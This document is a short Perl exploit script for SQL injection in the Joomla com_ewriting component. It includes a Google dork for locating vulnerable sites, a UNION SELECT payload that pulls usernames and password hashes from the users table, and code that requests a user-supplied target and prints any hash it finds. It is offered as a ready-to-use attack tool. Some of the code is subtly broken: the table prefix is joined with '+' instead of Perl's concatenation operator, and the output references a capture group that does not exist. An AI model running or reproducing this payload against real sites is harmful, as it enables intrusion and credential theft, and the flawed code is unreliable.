Joomla Exploit

#!/usr/bin/perl
#Exploit title: Joomla Component com_ewriting SQL Injection exploit
#Google Dork: inurl:index.php?option=com_ewriting
#Exploit Author: M4XS4L1M1

system("color a");
print "*********************************************\n";
print "*     Joomla Component com_ewriting         *\n";
print "*             SQL Injection                 *\n";
print "*           Script by M4XS4L1M1               *\n";
print "*   Thanks To BlackCyberRoot & AnonCoders   *\n";
print "*********************************************\n";
sleep 1;
use LWP::UserAgent;
print "Enter the target --> ";
chomp(my $target=<STDIN>);
$code="UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+"+pre+"_users--;";
$agent = LWP::UserAgent->new() or die "[!] Error while processing";
$agent->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011');
$host= $target. "/index.php?option=com_ewriting&Itemid=9999&func=selectcat&cat=-1==".$code;
$ok = $agent->request(HTTP::Request->new(GET=>$host));
$ok1 = $ok->content; if ($ok1 =~/([0-9a-fA-F]{32})/){
print "[+] Password found --> $1\n$2\n";

sleep 1;
}
else
{
print "Password not found \n";
}